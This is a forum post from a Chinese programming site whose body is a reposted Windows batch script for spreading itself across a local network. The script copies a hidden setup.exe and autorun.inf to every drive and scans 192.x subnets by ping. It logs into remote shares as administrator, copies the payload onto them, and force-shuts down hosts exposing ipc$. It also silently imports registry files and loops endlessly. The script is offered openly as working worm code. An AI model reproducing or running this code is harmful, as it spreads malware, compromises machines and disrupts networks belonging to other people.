| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1033 人关注过本帖
标题:[转载]批处理现实局域网传播
取消只看楼主 加入收藏
zlm821207
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2007-8-19
收藏
 问题点数:0 回复次数:0 
[转载]批处理现实局域网传播
以下内容来自中国批处理论坛(www.mybat.cn)
@echo off
set hty1=%windir%\system32\
:sm
attrib -r -s -h %hty1%setup.exe & attrib -r -s -h %hty1%autorun.inf
for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drives | findstr /i %%i || goto attr
dir /a/b %%i:\autorun.inf && attrib -r -s -h %%i:\autorun.inf
copy %hty1%autorun.inf %%i: & attrib +r +s +h %%i:\autorun.inf
dir /a/b %%i:\setup.exe || (copy %hty1%setup.exe %%i: && attrib +r +s +h %%i:\setup.exe)
)
:attr
attrib +r +s +h %hty1%setup.exe & attrib +r +s +h %hty1%autorun.inf
ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 && goto sm)
for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip address"') do (
for /f "tokens=1-3 delims=." %%a in ("%%i") do (
if %%a EQU 192 (
for /l %%e in (1,1,255) do (
ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(
for /f "skip=7 eol=命" %%t in ('net view \\%%a.%%b.%%c.%%e') do (
if "%%t" NEQ "" (
net use \\%%a.%%b.%%c.%%e\%%t /u:administrator && (attrib -r -s -h %hty1%setup.exe && copy %hty1%setup.exe \\%%a.%%b.%%c.%%e\%%t && attrib +r +s +h %hty1%setup.exe)
if "%%t" EQU "ipc$" shutdown -s -f -t 0 -m \\%%a.%%b.%%c.%%e
)
))
)
) else ping 127.1 -n 20
)
)
regedit /s %windir%\system32\expl.reg>nul 2>nul
regedit /s %windir%\system32\high.reg>nul 2>nul
goto sm
搜索更多相关主题的帖子: 批处理 局域网 inf attrib autorun 
2007-08-19 10:00
快速回复:[转载]批处理现实局域网传播
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.011091 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved